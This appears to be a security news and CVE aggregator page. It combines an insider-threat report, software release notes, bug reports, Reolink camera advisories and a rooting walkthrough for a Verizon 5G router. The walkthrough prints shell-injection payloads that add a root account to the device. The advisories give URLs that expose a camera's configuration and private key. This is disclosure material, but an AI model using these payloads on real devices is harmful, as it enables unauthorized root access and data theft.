Insiders could become more vulnerable to cybercrime recruitment efforts, new report says.

Declining economic conditions could make insiders more susceptible to recruitment offers from threat actors looking for allies to assist them in carrying out various attacks.

Enterprise security teams need to be aware of the heightened risk and strengthen measures for protecting against, detecting, and responding to insider threats, researchers from Palo Alto Network's Unit 42 threat intelligence team recommended in a report this week.

The security vendor's report highlighted several other important takeaways for security operations teams, including the fact that ransomware and business email compromise attacks continue to dominate incident response cases and vulnerability exploits — accounting for nearly one-third of all breaches.

**Vulnerable Insiders**

Unit 42 researchers analyzed data from a sampling of over 600 incident response engagements between April 2021 and May 2022 and determined that difficult economic times could lure more actors to cybercrime. This could include both people with technical skills looking to make a fast buck, as well as financially stressed insiders with legitimate access to valuable enterprise data and IT assets. The prevalence of remote and hybrid work models has created an environment where it's easier for workers to steal intellectual property or carry out other malicious activity, the researchers found.

Palo Alto Networks' report points to how some threat actors — such as the highly destructive LAPSUS$ group — have attempted to recruit insiders by offering money for access credentials or for helping them carry out their attack in other ways. "When some people are struggling to make ends meet, \[such\] offers could be more tempting to some," the report said.

This trend has been flagged before: A report from Flashpoint in May noted the growing popularity of insider recruitment efforts among threat actors. Flashpoint counted as many as 3,988 unique insider-related chat discussions — primarily on Telegram — between Jan. 1 and Nov. 30, 2021, with a particularly sharp spike happening after August. Many of those attempting to recruit were ransomware operators or other extortion groups. Commonly employed tactics included using a known insider or running public recruitment advertisements and direct solicitation.

Another survey that Pulse and Hitachi ID conducted of 100 IT and security professionals showed 65% saying that threat actors had approached them or their employees for assistance with a ransomware attack over the past year.

**Phishing, Software Vulns Remain Major Initial Access Vectors**

Unit 42's research also confirmed what security teams fighting on the front lines to keep their organizations safe already know: Ransomware and BEC attacks continue to dominate the need for incident response. A startling 70% of intrusions were tied to one of these two causes. In BEC attacks, the data showed that threat actors typically spent between 7 and 48 days in the breached environment before the victim contained the threat, with a median dwell time of 38 days. The median dwell time for ransomware attacks was slightly lower, at 28 days, likely because of how noisy these attacks are.

Phishing continues to be the top vector for initial access so far in 2022, and was the suspected cause in 37% of the incident response cases that Unit 42 completed between April 2021 and May 2022.

"Unfortunately, most organizations learn about one of these attacks the hard way — upon receiving an extortion demand or after wire fraud is committed," says Dan O’Day, consulting director, Unit 42 at Palo Alto Networks. "Increasingly, threat actors quickly gain access, identify and exfiltrate sensitive data, and deploy extortion tactics — sometimes in a matter of hours or in just a few days."

Notably, 31% — or nearly one-in-three intrusions — resulted from attackers gaining an initial foothold via a software vulnerability. Some 87% of the vulnerabilities that Unit 42 researchers were able to positively identity fell into one of six categories: ProxyLogon and ProxyShell flaws in Exchange Server; the Apache Log4j flaw; and vulnerabilities in technologies from Zoho, SonicWall and Fortinet. In 55% of incidents where Unit 42 was able to positively identify the vulnerability that an attacker used to gain initial access, the vulnerability was ProxyShell, and in 14% of the cases it was Log4j.

"Because one-third of attacks target software vulnerabilities, security teams should continue to patch vulnerabilities early and often," says O'Day. While some threat actors continue to rely on older, unpatched vulnerabilities, others are looking to exploit new vulnerabilities increasingly quickly. "In fact, it can practically coincide with the reveal if the vulnerabilities themselves and the access that can be achieved by exploiting them are significant enough," he says.

As one example, he points to a threat prevention signature that Palo Alto Networks released for an authentication bypass vulnerability in F5 Big IP technology (CVE-2022-1388). "Within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts," he says. "More and more, we're seeing attackers scanning as soon as details of a critical vulnerability are published."

Poor patch management practices exacerbated the issue for many organizations — it contributed to 28% of the breaches that Unit 42 responded to. One example of poor patch management is simply waiting too long to implement a patch for a known vulnerability, O'Day notes. "Further, around 30% of organizations were running end-of-life software versions that were affected by CVEs that had known active exploits in the wild and were featured in cybersecurity advisories from the US government."

Economic Downturn Raises Risk of Insiders Going Rogue

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the News Feed module.

OSSN - OPEN SOURCE SOCIAL NETWORK v6.3 LTS

*   \[E\] Allow all callables for extend view #2024
*   \[E\] avoiding unnecessary handling of extra space at comment start #2029
*   \[B\] skip friend access check if page visitor is not logged in #2037
*   \[B\] User can not comment on friend only, own album photo #2039
*   \[B\] OssnSounds missing the button for sound on/off #2032
*   \[E\] Make sure addUser also run isEmail validation #2022
*   \[E\] Multiple select (html) handler #2040
*   \[B\] jqueryui-datepicker fails on Google translated pages #2036
*   \[B\] ossn\_delete\_relationship recursive not working #2035
*   \[E\] add a new function ossn\_get\_relation\_by\_id() #2034
*   \[B\] UI add friend success text goes wrong position #2027
*   \[E\] update version and pre-requisite OssnEmbed #2045
*   \[B\] fixed unallowed
    
    inside paragraph again #2044
    
*   \[E\] load css for video in #2043
*   \[E\] make video visible in #2042
*   \[E\] Add provided by giphy footer or banner #2049
*   \[E\] Correction of term 'miinutos' to 'minutos' #2048
*   \[E\] CLI + cron library and documentation on community #2050
*   \[B\] fixed calling unavailable/mistyped function #2051
*   \[E\] OssnMail 'email', 'send:policy' 3rd parameter #2052
*   \[E\] \[E\] optimized getMyGroups() #2071
*   \[E\] optimized OssnGroup::isMember() #2070
*   \[E\] optimized OssnGroup::getMembersRequests() #2069
*   \[E\] optimized group join-requests counter #2067
*   \[E\] PHP8 prevent bool->guid warnings #2058
*   \[B\] fixed missing error handler for not existing subpages #2055
*   \[E\] Add confirmation before deleting photos #2073
*   \[E\] Enhance group menu entries in sidebar #2072
*   \[B\] PHP8 If deleted comments tried to be deleted again #2057
*   \[B\] OssnNotification if poster and owner is same participants hook never run #2053
*   \[B\] Fix the like:object view menu type introduced in #1868 #2081
*   \[E\] Replace translation PT #2079 #2075
*   \[E\] Improve mod\_rewrite CURL functionality #2078
*   \[B\] fixed use of undefined variable $object #2084
*   \[E\] Some small locale fixes. #2087
*   \[B\] PHP Warning: preg\_match(): Compilation failed (#2018). #2086
*   \[B\] fix creating incomplete wall entities if addPhoto() fails #2088
*   \[B\] prevent warning if $fields is false #2137 #2136 #2135
*   \[E\] Update PHP version to minimum 8 #2061
*   \[B\] Comment Static photo should have only filename no fullpath #2090
*   \[B\] No notification to participants if someone comments on profile photo , cover, album photo #2054
*   \[B\] jqueryui-datepicker fails on Google translated pages #2036
*   \[E\] Removal of old upgrade scripts #2085
*   \[E\] Enhance OssnFile and Include CDN option #2089
*   \[E\] fixed different 'readonly' colors #2134
*   \[B\] missing check if member has a cover image #2093
*   \[E\] some installation warnings #2018
*   \[E\] don't list unvalidated members #2144
*   \[B\] Multiple clicks on same action add member multiple times in group #2147
*   \[B\] col-xs not anymore with BS5 #2017
*   \[E\] Remove php5 apache config and update post and upload sizes #2033
*   \[E\] Stop rewriting .htaccess every time page loads during installation #2091
*   \[B\] Deleting a group should remove group:joinrequest records #2066
*   \[E\] Enable linkifying of Entity comments #2080
*   \[B\] wrong class extending in all input plugins #2146
*   \[E\] Ossn::File MaxSize() add UploadMaxSize #2148
*   \[B\] getting orphan notification records of type comments:post:group:wall #2060
*   \[E\] isModerator (for groups) in comments section also. #2025
*   \[E\] Added OssnJWT class based on firebase/JWT
*   \[E\] Updated cacert.pem
*   \[E\] Updated PHP MAILER to 6.6.0
*   \[B\] Pagination not responsive #2150
*   \[E\] Show components in admin panel in ASC order of their installation #2155
*   \[E\] Component delete confirmation if wanted to keep settings. #2152
*   \[T\] OssnUser::getFriends() #2149
*   \[B\] Pagination not responsive #2150
*   \[B\] btn-sm have no effect #2153
*   \[B\] missing checkbox-block span style #2145
*   \[B\] Non logged in visitor can view private posts #2158
*   \[B\] OssnChat default value showing 0 in class #2163
*   \[E\] Request for new user image classes defining the shape only #2143
*   \[B\] Post background not breaking if str > 125 chars #2164
*   \[B\] deleting profile photo gives error on iconURL() #2166
*   \[B\] deleting profile cover gives error on coverURL() #2166

Special Thanks to Michael Zülsdorff (aka Zetman) (https://www.opensource-socialnetwork.org/u/zetman) for testing and bug reporting, fixing.

CVE-2022-34963: Release OSSN 6.3 LTS · opensource-socialnetwork/opensource-socialnetwork

An out-of-bounds read in the rewrite function at /modules/caddyhttp/rewrite/rewrite.go in Caddy v2.5.1 allows attackers to cause a Denial of Service (DoS) via a crafted URI.

In my case, rewr.URI="/#?"

As for the precise log output, I made some modification on TestRewrite and get that:

      25   │ func TestRewrite1(t *testing.T) {
      26   │     repl := caddy.NewReplacer()
      27   │ 
      28   │     tc := struct {
      29   │         input, expect *http.Request
      30   │         rule          Rewrite
      31   │     }{
      32   │         rule:   Rewrite{URI: "/#?"},
      33   │         input:  newRequest(t, "GET", "/foo/bar?a=b"),
      34   │         expect: newRequest(t, "GET", "/foo?a=b#frag"),
      35   │     }
      36   │ 
      37   │     // copy the original input just enough so that we can
      38   │     // compare it after the rewrite to see if it changed
      39   │     originalInput := &http.Request{
      40   │         Method:     tc.input.Method,
      41   │         RequestURI: tc.input.RequestURI,
      42   │         URL:        &*tc.input.URL,
      43   │     }
      59   │     changed := tc.rule.rewrite(tc.input, repl, nil)
      60   │ 
      61   │     if expected, actual := !reqEqual(originalInput, tc.input), changed; expected != actual {
      62   │         t.Errorf("Expected changed=%t but was %t", expected, actual)
      63   │     }
      64   │     if expected, actual := tc.expect.Method, tc.input.Method; expected != actual {
      65   │         t.Errorf("Expected Method='%s' but got '%s'", expected, actual)
      66   │     }
      67   │     if expected, actual := tc.expect.RequestURI, tc.input.RequestURI; expected != actual {
      68   │         t.Errorf("Expected RequestURI='%s' but got '%s'", expected, actual)
      69   │     }
      70   │     if expected, actual := tc.expect.URL.String(), tc.input.URL.String(); expected != actual {
      71   │         t.Errorf("Expected URL='%s' but got '%s'", expected, actual)
      72   │     }
      73   │     if expected, actual := tc.expect.URL.RequestURI(), tc.input.URL.RequestURI(); expected != actual {
      74   │         t.Errorf("Expected URL.RequestURI()='%s' but got '%s'", expected, actual)
      75   │     }
      76   │     if expected, actual := tc.expect.URL.Fragment, tc.input.URL.Fragment; expected != actual {
      77   │         t.Errorf("Expected URL.Fragment='%s' but got '%s'", expected, actual)
      78   │     }
      79   │ 
      80   │     return
      81   │ }
    
    

And it crashed like?:

    --- FAIL: TestRewrite1 (0.00s)
    panic: runtime error: slice bounds out of range [3:1] [recovered]
            panic: runtime error: slice bounds out of range [3:1]
    
    goroutine 25 [running]:
    testing.tRunner.func1.2({0x12f70c0, 0xc0001e0a98})
            /home/zjx/.local/go/src/testing/testing.go:1211 +0x24e
    testing.tRunner.func1()
            /home/zjx/.local/go/src/testing/testing.go:1214 +0x218
    panic({0x12f70c0, 0xc0001e0a98})
            /home/zjx/.local/go/src/runtime/panic.go:1038 +0x215
    github.com/caddyserver/caddy/v2/modules/caddyhttp/rewrite.Rewrite.rewrite({{0x0, 0x0}, {0x139e2a5, 0x3}, {0x0, 0x0}, {0x0, 0x0}, {0x0, 0x0, ...}, ...}, ...)
            /home/zjx/workspace/gowork/src/go-fdg-exmaples/caddy/modules/caddyhttp/rewrite/rewrite.go:161 +0xc65
    github.com/caddyserver/caddy/v2/modules/caddyhttp/rewrite.TestRewrite1(0xc000471520)
            /home/zjx/workspace/gowork/src/go-fdg-exmaples/caddy/modules/caddyhttp/rewrite/tmp_test.go:59 +0x525
    testing.tRunner(0xc000471520, 0x1410440)
            /home/zjx/.local/go/src/testing/testing.go:1261 +0x102
    created by testing.(*T).Run
            /home/zjx/.local/go/src/testing/testing.go:1308 +0x35a
    exit status 2

CVE-2022-34037: [panic]: slice OOB caused by illegal uri · Issue #4775 · caddyserver/caddy

Unauthenticated Arbitrary Option Update vulnerability in biplob018's Shortcode Addons plugin <= 3.0.2 at WordPress.

CVE-2022-34487: Shortcode Addons- with Visual Composer, Divi, Beaver Builder and Elementor Extension

RISCV ISA Sim commit ac466a21df442c59962589ba296c702631e041b5 implements the incorrect exception priotrity when accessing memory.

Let's take the load instruction as an example:

#define load\_func(type, prefix, xlate\_flags) \\

inline type##\_t prefix##\_##type(reg\_t addr, bool require\_alignment = false) { \\

if (unlikely(addr & (sizeof(type##\_t)-1))) { \\

if (require\_alignment) load\_reserved\_address\_misaligned(addr); \\

else return misaligned\_load(addr, sizeof(type##\_t), xlate\_flags); \\

} \\

reg\_t vpn = addr >> PGSHIFT; \\

size\_t size = sizeof(type##\_t); \\

if ((xlate\_flags) == 0 && likely(tlb\_load\_tag\[vpn % TLB\_ENTRIES\] == vpn)) { \\

if (proc) READ\_MEM(addr, size); \\

return from\_target(\*(target\_endian<type##\_t>\*)(tlb\_data\[vpn % TLB\_ENTRIES\].host\_offset + addr)); \\

} \\

if ((xlate\_flags) == 0 && unlikely(tlb\_load\_tag\[vpn % TLB\_ENTRIES\] == (vpn | TLB\_CHECK\_TRIGGERS))) { \\

type##\_t data = from\_target(\*(target\_endian<type##\_t>\*)(tlb\_data\[vpn % TLB\_ENTRIES\].host\_offset + addr)); \\

if (!matched\_trigger) { \\

matched\_trigger = trigger\_exception(OPERATION\_LOAD, addr, data); \\

if (matched\_trigger) \\

throw \*matched\_trigger; \\

} \\

if (proc) READ\_MEM(addr, size); \\

return data; \\

} \\

target\_endian<type##\_t> res; \\

load\_slow\_path(addr, sizeof(type##\_t), (uint8\_t\*)&res, (xlate\_flags)); \\

if (proc) READ\_MEM(addr, size); \\

return from\_target(res); \\

}

At line 101, load will first check if it is aligned, then at line 122 it will try to access the address in the load\_slow\_path function.

void mmu\_t::load\_slow\_path(reg\_t addr, reg\_t len, uint8\_t\* bytes, uint32\_t xlate\_flags)

{

reg\_t paddr = translate(addr, len, LOAD, xlate\_flags);

if (auto host\_addr = sim->addr\_to\_mem(paddr)) {

memcpy(bytes, host\_addr, len);

if (tracer.interested\_in\_range(paddr, paddr + PGSIZE, LOAD))

tracer.trace(paddr, len, LOAD);

else if (xlate\_flags == 0)

refill\_tlb(addr, paddr, host\_addr, LOAD);

} else if (!mmio\_load(paddr, len, bytes)) {

throw trap\_load\_access\_fault((proc) ? proc->state.v : false, addr, 0, 0);

}

if (!matched\_trigger) {

reg\_t data = reg\_from\_bytes(len, bytes);

matched\_trigger = trigger\_exception(OPERATION\_LOAD, addr, data);

if (matched\_trigger)

throw \*matched\_trigger;

}

}

In load\_slow\_path, it will first check if it is legal address at line 153, and the watch point will be checked at the end of the function.

Briefly, the order of priority is as follows: trap\_load\_address\_misaligned > trap\_load\_access\_fault > trap\_breakpoint

However, in the specification, trap\_breakpoint has a higher priority than the others:  

We also co-simulate with rocket to check this point, rocket threw a breakpoint exception, while spike threw an error misaligned exception.  
The test point is at 0x800001c0 where loading a misaligned illegal address 0x100004001:

    3 0x00800001bc (0x7a261073)
    core   0: 0x00000000800001bc (0x7a261073) csrw    tdata2, a2
    3 0x0080000004 (0x34302f73) x30 0x0000000100004001
    core   0: 0x00000000800001c0 (0x00062603) lw      a2, 0(a2)
    core   0: exception trap_load_address_misaligned, epc 0x00000000800001c0
    core   0:           tval 0x0000000100004001
    core   0: 0x0000000080000004 (0x34302f73) csrr    t5, mtval
    3 0x0080000008 (0x34202f73) x30 0x0000000000000003
    core   0: 0x0000000080000008 (0x34202f73) csrr    t5, mcause
    [error] WDATA SIM 0000000000000004, DUT 0000000000000003
    [error] check board clear 30 error
    [CJ] integer register Judge Failed
    

spike-0.zip

CVE-2022-34643: [Bug Report] Wrong exception priority during access memory · Issue #971 · riscv-software-src/riscv-isa-sim

The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. In this way an attacker can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.

Permalink

Cannot retrieve contributors at this time

RCE Security Advisory

https://www.rcesecurity.com

1\. ADVISORY INFORMATION

\=======================

Product: Reolink E1 Zoom Camera

Vendor URL: https://reolink.com/product/e1-zoom/

Type: Exposure of Sensitive Information to an Unauthorized Actor \[CWE-200\]

Date found: 2021-08-26

Date published: 2022-06-01

CVSSv3 Score: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVE: CVE-2021-40150

2\. CREDITS

\==========

This vulnerability was discovered and researched by Julien Ahrens from

RCE Security.

3\. VERSIONS AFFECTED

\====================

Reolink E1 Zoom Camera 3.0.0.716 (latest) and below

4\. INTRODUCTION

\===============

Meet new generation of Reolink E1 series. Advanced features - 5MP Super HD

& optical zoom are added into this compact camera. Plus two-way audio, remote

live view and more smart capacities help you connect with what you care. Be

closer to families and be away from worries.

(from the vendor's homepage)

5\. VULNERABILITY DETAILS

\========================

The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration

via the /conf/ directory that is mapped to a publicly accessible path.

An unauthenticated attacker can abuse this with network-level access to

the camera to download the entire NGINX/FastCGI configurations by querying, i.e.:

http://\[CAM-IP\]/conf/nginx.conf

http://\[CAM-IP\]/conf/fastcgi.conf

Etc.

6\. RISK

\=======

An unauthenticated attacker can download the webserver's configuration

files which might lead to sensitive information disclosure.

7\. SOLUTION

\===========

None.

8\. REPORT TIMELINE

\==================

2021-08-26: Discovery of the vulnerability

2021-08-26: Sent notification to Reolink via their support channel

2021-08-26: Response from vendor asking for vulnerability details

2021-08-26: Sent all the vulnerability details

2021-08-31: Vendor is still looking into the issue

2021-09-03: Vendor states that the issue will be fixed with the next firmware update by the end of September.

2021-10-01: Since no firmware has been released, we've sent another notification

2021-10-02: Vendor states that the new firmware is delayed

2022-02-01: Since there is still fix, sent another notification

2022-02-02: Vendor states that the firmware with the fix hasn't been released yet.

2022-03-03: Since there is still fix, sent another notification

2022-03-12: Vendor states they're still working on the issue (internal update awaits testing)

2022-05-24: Since there is still fix, sent another notification

2022-05-24: Vendor states that the update still hasn't been released yet.

2022-06-01: Almost a year should be enough to fix this. Public disclosure.

9\. REFERENCES

\=============

https://github.com/MrTuxracer/advisories

CVE-2021-40150: advisories/CVE-2021-40150.txt at master · MrTuxracer/advisories

The web server of the E1 Zoom camera through 3.0.0.716 discloses its SSL private key via the root web server directory. In this way an attacker can download the entire key via the /self.key URI.

Permalink

Cannot retrieve contributors at this time

RCE Security Advisory

https://www.rcesecurity.com

1\. ADVISORY INFORMATION

\=======================

Product: Reolink E1 Zoom Camera

Vendor URL: https://reolink.com/product/e1-zoom/

Type: Exposure of Sensitive Information to an Unauthorized Actor \[CWE-200\]

Date found: 2021-08-26

Date published: 2022-06-01

CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVE: CVE-2021-40149

2\. CREDITS

\==========

This vulnerability was discovered and researched by Julien Ahrens from

RCE Security.

3\. VERSIONS AFFECTED

\====================

Reolink E1 Zoom Camera 3.0.0.716 (latest) and below

4\. INTRODUCTION

\===============

Meet new generation of Reolink E1 series. Advanced features - 5MP Super

HD & optical zoom are added into this compact camera. Plus two-way audio,

remote live view and more smart capacities help you connect with what you

care. Be closer to families and be away from worries.

(from the vendor's homepage)

5\. VULNERABILITY DETAILS

\========================

The web server of the E1 Zoom camera through 3.0.0.716 discloses its SSL private

key via the root web server directory.

An unauthenticated attacker can abuse this with network-level access to the

camera to download the webserver's private SSL key by simply going to the

following URL:

http://\[CAM-IP\]/self.key

6\. RISK

\=======

An unauthenticated attacker can download the webserver's SSL private key and

thereby attack the encrypted network traffic to and from the camera, which might

lead to the disclosure of the administrative access credentials and other

sensitive information.

7\. SOLUTION

\===========

None.

8\. REPORT TIMELINE

\==================

2021-08-26: Discovery of the vulnerability

2021-08-26: Sent notification to Reolink via their support channel

2021-08-26: Response from vendor asking for vulnerability details

2021-08-26: Sent all the vulnerability details

2021-08-31: Vendor is still looking into the issue

2021-09-03: Vendor states that the issue will be fixed by the end of September.

2021-10-01: Since no firmware has been released, we've sent another notification

2021-10-02: Vendor states that the new firmware is delayed

2022-02-01: Since there is still fix, sent another notification

2022-02-02: Vendor states that the firmware with the fix hasn't been released yet.

2022-03-03: Since there is still fix, sent another notification

2022-03-12: Vendor states they're still working on the issue (internal update awaits testing)

2022-05-24: Since there is still fix, sent another notification

2022-05-24: Vendor states that the update still hasn't been released yet.

2022-06-01: Almost a year should be enough to fix this. Public disclosure.

9\. REFERENCES

\=============

https://github.com/MrTuxracer/advisories

CVE-2021-40149: advisories/CVE-2021-40149.txt at master · MrTuxracer/advisories

A poor, permanent hire can be a very expensive error, whereas a mis-hire on a virtual CISO can be rapidly corrected.

The cybersecurity challenges that companies are facing today are vast, multidimensional, and rapidly changing. Exacerbating the issue is the relentless evolution of threat actors and their ability to outmaneuver security controls effortlessly.

As technology races forward, companies without a full-time CISO are struggling to keep pace. For many, finding, attracting, retaining, and affording the level of skills and experience needed is out of reach or simply unrealistic. Enter the virtual CISO (vCISO). These on-demand experts provide security insights to companies on an ongoing basis and help ensure that security teams have the resources they need to be successful.

**How a vCISO Works**  
Typically, an engagement with a vCISO is long lasting, but in a fractional delivery model. This is very different from a project-oriented approach that requires a massive investment and results in a stack of deliverables for the internal team to implement and maintain. A vCISO not only helps to form the approach, define the action plan, and set the road map but, importantly, stays engaged throughout the implementation and well into the ongoing management phases.

The best vCISO engagements are long-term contracts, such as 12 to 24 months. Typically, there's an upfront effort where the vCISO is more engaged in the first few months to establish an understanding, develop a road map, and create a rhythm with the team. Then, their support drops into a regular pace which can range from two to three days per week or five to ten days per month.

**What to Expect From a vCISO**  
When bringing a vCISO on board, it's important that person has three key attributes: broad and extensive experience in addressing cybersecurity challenges across many industries; business acumen and the ability to rapidly absorb complex business models and strategies; and knowledge of technology solutions and dynamics that can be explored to meet specific organizational needs.

The first thing a vCISO will focus on is prioritization, beginning with understanding a company's risks. They will then organize actions that provide the greatest positive influence on mitigating these risks while ensuring sustainability in the program. The goal is to establish a security approach that addresses the greatest risks to the business in a way that has staying power and can provide inherent value to additional downstream controls.

Having extensive experience in the technical space, a vCISO can take into consideration the full spectrum of options — those existing within the business environment, established products and services in the marketplace, and new solutions entering the market. Just within that context, a vCISO can collaborate with the technical team to take advantage of existing solutions and identify enhancements that can further capabilities in a cost-efficient manner.

**The Value of a vCISO**  
One of the most common findings is that companies often have a large portfolio of cybersecurity technology, but very little is fully deployed. Additionally, most tech teams are not leveraging all of the capabilities, much less integrating with other systems to get greater value. Virtual CISOs help companies save money by exploiting existing technical investments that dramatically improve security. And, since the improvement is focused on existing tools, the transition for the IT and security staff is virtually eliminated due to established familiarity with the environment.

Another essential value point of a vCISO is access to an informed and well-balanced view on risk and compliance. While cybersecurity is dominated by technical moving parts, the reality is the board, executive leadership, and management team needs to incorporate cyber-risks and related liabilities into the overall scope of risk across the business at an executive level. In this sense, leadership has a vast array of competing challenges, demands, and risks and some can be even more impactful than cybersecurity.

**How to Convince the Executive Team**  
A CEO is under a constant barrage of challenges, problems, risks, and opportunities. Cybersecurity needs to be part of that formula. If one of the core values of having a vCISO is getting meaningful cyber-risk insights, then trust and confidence in that person is paramount and needs to be established from the beginning.

Another challenge is the team dynamic — at the heart of being a CEO is their success as a leader. Introducing what is essentially a consultant can be an adjustment for the team. It's important that the vCISO hire fits the culture and can easily integrate with everyone on the team including the CIO, CTO, CPO, CRO, etc.

The conversation with the CFO will understandably have a heavy financial tone. For companies debating between a full-time CISO or a vCISO, it's clear a poor permanent hire can be a very expensive error, whereas a mis-hire on a vCISO can be rapidly corrected.

As organizations continue to come to grips with the byproducts of digitization and new security challenges that often seem insurmountable, a vCISO can be an enormous value. Beyond offering an efficient and cost-effective model, they bring many advantages to businesses with fewer risks than a dedicated resource.

Virtual CISOs Are the Best Defense Against Accelerating Cyber-Risks

On Verizon 5G Home LVSKIHP InDoorUnit (IDU) 3.4.66.162 and OutDoorUnit (ODU) 3.33.101.0 devices, the CRTC and ODU RPC endpoints rely on a static account username/password for access control. This password can be generated via a binary included in the firmware, after ascertaining the MAC address of the IDU's base Ethernet interface, and adding the string DEVICE_MANUFACTURER='Wistron_NeWeb_Corp.' to /etc/device_info to replicate the host environment. This occurs in /etc/init.d/wnc_factoryssidkeypwd (IDU).

**Introduction**

The Verizon 5G LVSKIHP is an all-in-one integrated Modem and Router that provides access to the Verizon Wireless 5G Wireless for Home Internet service. The consumer side of the device provides basic settings for configuration of the Wi-Fi, Firewall, Parental Controls, etc. This device can also be put into Bridge Mode, hat tip to Tifan.net's research:

https://tifan.net/blog/2021/04/01/enable-bridge-mode-on-verizon-5g-home-router-lv55-lvskisp/

**Credit**

*   Matthew Lichtenberger
*   Shea Polansky

**CVEs**

*   CVE-2022-28369 - IDU 3.4.66.162 does not validate URI passed to enable\_ssh function, allowing arbitrary file upload/execution.
*   CVE-2022-28370 - ODU 3.33.101.0 does not validate firmware cryptographically when uploaded to the crtc\_fw\_upgrade function.
*   CVE-2022-28371 - IDU 3.4.66.162 & ODU 3.33.101.0 utilize static firmware-embedded certificate for authentication to JSON listeners.
*   CVE-2022-28372 - IDU 3.4.66.162 & ODU 3.33.101.0 do not validate the URI passed to JSON listener for firmware update.
*   CVE-2022-28373 - IDU 3.4.66.162 does not properly sanitize user-controlled parameters within the crtcreadpartition function. Shell metacharacters can be injected to achieve remote code execution as the root user.
*   CVE-2022-28374 - ODU 3.33.101.0 does not properly sanitize user-controlled parameters within the DMACC URLs on the Engineering page. Shell metacharacters can be injected to achieve remote code execution as the root user.
*   CVE-2022-28375 - ODU 3.33.101.0 does not properly sanitize user-controlled parameters within the crtcswitchsimprofile function. Shell metacharacters can be injected to achieve remote code execution as the root user.
*   CVE-2022-28376 - IDU 3.4.66.162 & ODU 3.33.101.0 pre-generate a static password for the "verizon" engineering account.
*   CVE-2022-28377 - IDU 3.4.66.162 & ODU 3.33.101.0 pre-generate a static password for the "jrpc" account.

**Walkthrough****Rooting the OutDoor Unit (ODU)**

When the device is in Bridge Mode, the Consumer side ceases to provide any functionality (although the backend links can still be accessed).  It also exposes an interface at 10.0.0.1 that requires a username and password to access. 

The consumer side allows one to export the logs of the device, by navigating to the System Settings,  clicking the arrow for History Log, and clicking "Export Log".  When this function is triggered, it creates a .tar.gz of the entire Log directory and provides it to the user (under subdirectory /mnt/wnc/logs).  Several of the logs are instructive towards identifying further targets for investigation. The most useful log for this purpose was OMADM.log, which logged the device receiving a firmware update. 

Downloading and binwalking this file shows that it is an unencrypted Squashfs Filesystem.  Mounting it, there are several files of interest, but the main focus was on the "sdxprairie-sysfs.ubi" file. Since it's a UBI file system, Linux will not mount it as a loop device,  as UBI filesystems are block-based NAND, so they need to be extracted or mounted to a fake NAND: 

    sudo modprobe nandsim first_id_byte=0x2c second_id_byte=0xac third_id_byte=0x90 fourth_id_byte=0x26
    sudo nandwrite /dev/mtd0 sdxprairie-sysfs.ubi
    sudo modprobe ubi mtd=/dev/mtd0,4096
    sudo mount -t ubifs -o ro /dev/ubi0_0 test
    

The filesystem resembles a basic Linux ARM environment; however, several folders are empty, and it is likely they have mount points on the device and don't exist in the firmware image. However, exploring /etc/initscripts finds several interesting shell scripts for operating the device.  One of particular note is the function within /etc/initscripts/wnc\_keygen titled "create\_engineer\_pwd". 

This function reveals that the engineering username is "verizon" and the engineering password is the first and last 7 characters of the SHA256 hash of the Serial Number concatenated with the Model Number of the device. It is possible to log in on the interface at 10.0.0.1 with this information. 

As Verizon likely did not expect casual users to access this portal, it seemed likely that less effort went into security hardening this side of the web portal. Initial efforts focused on the "Enable Telnet" functionality provided on the Settings page, but the above function provides the "verizon" user with a shell of "/bin/false", so this effort was halted. However, further down on the Settings page there are several arbitrary text fields, including ones labelled "DMACC1" through "DMACC3". 

Exploring further into the firmware image, the LuCI webserver controller was located at /usr/lib/lua/5.1/luci/. Digging into the /view/vz\_page/setting.htm file, the following line governs the text input. 

Grepping for dmacc3 within the luci folder, there is a reference to controller/admin/settings.lua. Opening that file up, this function appears to utilize text placed in that field with no sanitization. 

Thus, this field was injectable. When a line like '; reboot;# is placed at the end of a DMACC URL string, the device reboots. Several attempts were made, like attempting to utilize sed to change the /bin/false in /etc/passwd, invoking a reverse shell, and others, before a successful approach was identified. Since the device runs all binaries as root, it is possible to edit any file on the system. By appending a new user account to the /etc/passwd and /etc/shadow files, a user "tester" with the password "testtest" is created in the system:  

    '; echo 'tester:$6$npapnF1GfqtUSVWY$vA1CApnnjXxQiIXMl2JKhpnS0V.g0cTNx2HDGvxeURrhTMjjQsO2DN6ec6hLjAG2Ao2yZiPgE4GdbbgvuCBf9/:::::::' >> /etc/shadow; # 
    '; echo "tester:x:0:0:tester:/bin/ash" >> /etc/passwd; #
    

Once this is complete, and the "Telnet Enable" toggle is selected, no further barriers were encountered logging in with Telnet. As the tester account was configured with the UID of 0 and the GID of 0, no privilege escalation is required. 

This completes the rooting of the "ODU" component of the device, or "OutDoor Unit" aspect. Note that the /etc/shadow and /etc/passwd are not regenerated on reboot, so this is a persistent modification (until a new firmware is loaded into the device).

**Rooting the InDoor Unit (IDU)**

The other half of the device is the "IDU" or "InDoor Unit", which runs the consumer-side functionality of the router, at 10.0.0.2. Verizon appears to have spent time hardening this side... attempting to inject on many of the fields returns a warning saying "Due to security concerns, please do not use special characters, e.g. ()\[\];|'<>\`&="". Additionally, a JSON response of "invalid symbol" is returned, which suggests the check is performed server side. 

While watching the network traffic when navigating pages, several "encr\_get" queries were observed. These queries are encrypted with a public key the server provides, and are encrypted by a function in "wnc.js" that is as follows:

    params.args = JSON.stringify(params.args);
    if(cmd.api == CMD.ENCR_GET.api || cmd.api == CMD.ENCR_SET.api){
         //console.log(params.args);  // need remove
         const encrypt = new JSEncrypt();
         encrypt.setPublicKey(sessionStorage.pubkey);
         var encrypt_data = ""
         var end = 0;
         for(var i=0; end < (params.args.length+1); i++){
               end = ((i+1)*117) > (params.args.length+1) ? (params.args.length+1): ((i+1)*117)
               var str = params.args.slice(i*117, end);
               encrypt_data = encrypt_data + encrypt.encrypt(str) + "#";
         }  
         params.args = encodeURIComponent(encrypt_data);
    }
    

